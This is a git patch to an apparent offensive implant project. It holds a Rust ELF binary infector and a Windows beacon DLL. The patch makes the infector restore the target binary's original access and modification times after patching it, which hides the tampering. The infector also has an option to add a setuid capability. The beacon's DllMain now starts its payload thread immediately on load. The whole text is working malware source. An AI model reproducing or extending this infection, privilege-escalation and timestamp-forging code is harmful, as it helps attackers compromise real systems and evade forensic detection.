From 5d0e4fb784177a981668d247c256bb9fa39edf7c Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Sun, 9 Feb 2025 16:24:47 -0500 Subject: [PATCH] feat: fixed some metadata handling --- sparse-unix-infector/src/lib.rs | 23 +++++++++++++++++++---- sparse-windows-beacon/src/lib.rs | 2 +- 2 files changed, 20 insertions(+), 5 deletions(-) diff --git a/sparse-unix-infector/src/lib.rs b/sparse-unix-infector/src/lib.rs index a8b8d4d..a183bef 100644 --- a/sparse-unix-infector/src/lib.rs +++ b/sparse-unix-infector/src/lib.rs @@ -1,6 +1,6 @@ use std::{ io::{prelude::*, Error, SeekFrom}, - os::fd::AsRawFd, + os::{fd::AsRawFd, unix::fs::MetadataExt}, path::Path, slice, }; @@ -52,6 +52,8 @@ where std::fs::write(&target_library_path, sparse_library)?; + let metadata = std::fs::metadata(&binary_path)?; + let mut binary = std::fs::OpenOptions::new() .read(true) .write(true) @@ -77,19 +79,32 @@ where if #[cfg(target_os = "linux")] { infect_64bit_elf_binary( target_library_path, - binary, + &mut binary, binary_data, add_setuid_capability, )?; } else { infect_64bit_elf_binary( target_library_path, - binary, + &mut binary, binary_data )?; } } + let access_time = libc::timespec { + tv_sec: metadata.atime(), + tv_nsec: metadata.atime_nsec() + }; + let modify_time = libc::timespec { + tv_sec: metadata.mtime(), + tv_nsec: metadata.mtime_nsec() + }; + + unsafe { + libc::futimens(binary.as_raw_fd(), [access_time, modify_time].as_ptr()); + } + Ok(()) } else { eprintln!("Sparse is only compiled for 64 bit Linux"); @@ -99,7 +114,7 @@ where fn infect_64bit_elf_binary( library_path: LP, - mut binary: F, + binary: &mut F, mut binary_data: Vec, #[cfg(target_os = "linux")] add_setuid_capability: bool, ) -> Result<(), Error> diff --git a/sparse-windows-beacon/src/lib.rs b/sparse-windows-beacon/src/lib.rs index 9fcc142..1a60cc9 100644 --- a/sparse-windows-beacon/src/lib.rs +++ b/sparse-windows-beacon/src/lib.rs @@ -7,7 +7,7 @@ use windows::{ pub extern "system" fn DllMain(_: usize, dw_reason: u32, _: usize) -> i32 { if dw_reason == DLL_PROCESS_ATTACH { std::thread::spawn(|| { - std::thread::sleep(std::time::Duration::from_millis(500)); + std::thread::yield_now(); if let Err(_e) = hash_internals() { // what are we going to do??